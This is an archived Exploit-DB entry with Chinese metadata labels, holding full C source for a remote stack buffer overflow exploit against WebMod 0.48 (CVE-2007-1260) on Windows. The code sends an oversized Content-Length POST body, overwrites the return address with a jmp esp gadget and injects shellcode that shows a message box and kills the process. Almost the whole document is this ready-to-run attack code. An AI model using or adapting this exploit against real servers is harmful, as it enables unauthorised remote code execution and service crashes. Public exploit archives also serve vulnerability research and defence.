标题: WebMod 0.48 - Content-Length Remote Buffer Overflow EDB-ID: 3395 CVE: 2007-1260 类型: REMOTE 平台: WINDOWS 发布日期: 2007-03-01 漏洞利用脚本: /*
 * WebMod Stack Buffer Overflow
 *
 * by cybermind (Kevin Masterson)
 * cybermind@gmail.com
 *
 * WebMod v0.48 exploit PoC code
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock.h>
#pragma comment (lib, "ws2_32.lib")

/*
local variables in connectHandle():

char *input;   4
char buf[8192+1];  8193
int i,j;   8
int connfd;   4
int myid;   4
threaddata_t *tdata;  4
httpquery_t query;  149036
char tmp[1025];   1025
int rcv;   4
char clbuf[11];   11

total:    158293
actual (due to padding): 158308


  breakdown of types:
 typedef struct s_var {  546
   char name[33];    33
   char value[513];    513
 } var_s;


 typedef struct s_httpquery { 149036
   char method[11];    11
   char clientip[16];    16
   char url[257];    257
   char *get;     4
   char *post;     4
   char *cookies;    4
   var_s vars[256];    139776
   char currentmapname[257];   257
   char sendcookies[8192+1];   8193
   char contenttype[257];   257
   char location[257];    257
 } httpquery_t;
*/

//contains data to fill the Content-Length field with
char spambuf[20000];

//code to inject
//this particular code only works on Win2K SP4 (v5.0.4.0)
//and kernel32.dll v5.0.2195.6688
unsigned char code[] = {
     // ; push string onto the stack without using 0x00
 0xB8, 0x59, 0x5A, 0x32, 0x11, //mov     eax, 11325A59h ; "HI!\0" + 11111111h
 0x2D, 0x11, 0x11, 0x11, 0x11, //sub     eax, 11111111h
 0x50,    //push    eax
 0x8B, 0xC4,   //mov     eax, esp  ; eax points to string

 0x33, 0xC9,   //xor     ecx, ecx  ; zero

     // ; call MessageBox
 0x51,    //push    ecx   ; flags (0)
 0x50,    //push    eax   ; caption
 0x50,    //push    eax   ; text
 0x51,    //push    ecx   ; hwnd (0)
 0xB8, 0x98, 0x80, 0xE3, 0x77, //mov     eax, 77E38098h ; &MessageBox
 0xFF, 0xD0,   //call    eax

     // ; call GetCurrentProcessId
 0xB8, 0xF4, 0xB8, 0x4E, 0x7C, //mov     eax, 7C4EB8F4h ; &GetCurrentProcessId
 0xFF, 0xD0,   //call    eax

 0x33, 0xC9,   //xor     ecx, ecx  ; zero

     // ; call TerminateProcess
 0x51,    //push    ecx   ; return code (0)
 0x50,    //push    eax   ; process id
 0xB8, 0xC3, 0x8D, 0x51, 0x7C,   //mov     eax, 7C518DC3h ; &TerminateProcess
 0xFF, 0xD0   //call    eax

};

//EIP you want to insert, this points to an "FF E4" (jmp esp) in w_mm.dll
//set this to 0xFFFFFFFF to just cause a crash
unsigned int our_eip = 0x67E03C5B;

int main(int argc, char* argv[]) {
 WSADATA wsadata;
 int sock = 0;
 struct hostent* host = NULL;
 struct sockaddr_in saddr;

 //data to sent initially
 char initbuf[] = "POST / HTTP/1.1\nHost: localhost:27015\nContent-Length: ";

 //data to send after headers
 char endbuf[] = "\n\n";

 char* hostname = NULL;
 short hostport = 27015;

 int i;
 unsigned int sent = 0;

 //get host/port from command line
 if (argc < 2) {
  printf("Usage:\t%s <hostname|ip> [port=27015]\n", argv[0]);
  return 1;
 }
 hostname = argv[1];
 if (argc >= 3) hostport = atoi(argv[2]);

 WSAStartup(MAKEWORD(1,1), &wsadata);

 sock = socket(AF_INET, SOCK_STREAM, 0);
 if (sock <= 0) {
  printf("socket() error\n");
  return 1;
 }

 host = gethostbyname(hostname);
 if (!host) {
  printf("gethostbyname() error\n");
  return 1;
 }

 printf("Resolved \"%s\" to %s\n", hostname, inet_ntoa(*(struct in_addr*)host->h_addr_list[0]));

 memset(&saddr, 0, sizeof(struct sockaddr_in));
 saddr.sin_family = AF_INET;
 saddr.sin_port = htons(hostport);
 memcpy(&saddr.sin_addr.s_addr, host->h_addr_list[0], host->h_length);

 if (connect(sock, (struct sockaddr*)&saddr, sizeof(struct sockaddr)) < 0) {
  printf("connect() error\n");
  return 1;
 }

 //initialize buffers
 memset(spambuf, 'a', sizeof(spambuf));

 //send initial POST request
 sent += send(sock, initbuf, sizeof(initbuf)-1, 0);

 //send 7 full spambufs to get 140000 bytes
 for (i = 0; i < 7; ++i)
  sent += send(sock, spambuf, sizeof(spambuf), 0);

 //send partial spambuf to fill remaining data
 //(18308, this goes right up to the EIP)
 sent += send(sock, spambuf, 18308, 0);

 //fill EIP
 sent += send(sock, (char*)&our_eip, sizeof(our_eip), 0);

 //insert code!
 sent += send(sock, (char*)code, sizeof(code), 0);

 //send newlines after content-length
 sent += send(sock, endbuf, sizeof(endbuf)-1, 0);

 printf("%u bytes sent...waiting...\n", sent);

 //wait for a while so the socket isn't closed on our end
 //before they receive all the data
 Sleep(15000);

 return 0;
}

// milw0rm.com [2007-03-01] URL: https://www.exploit-db.com/exploits/3395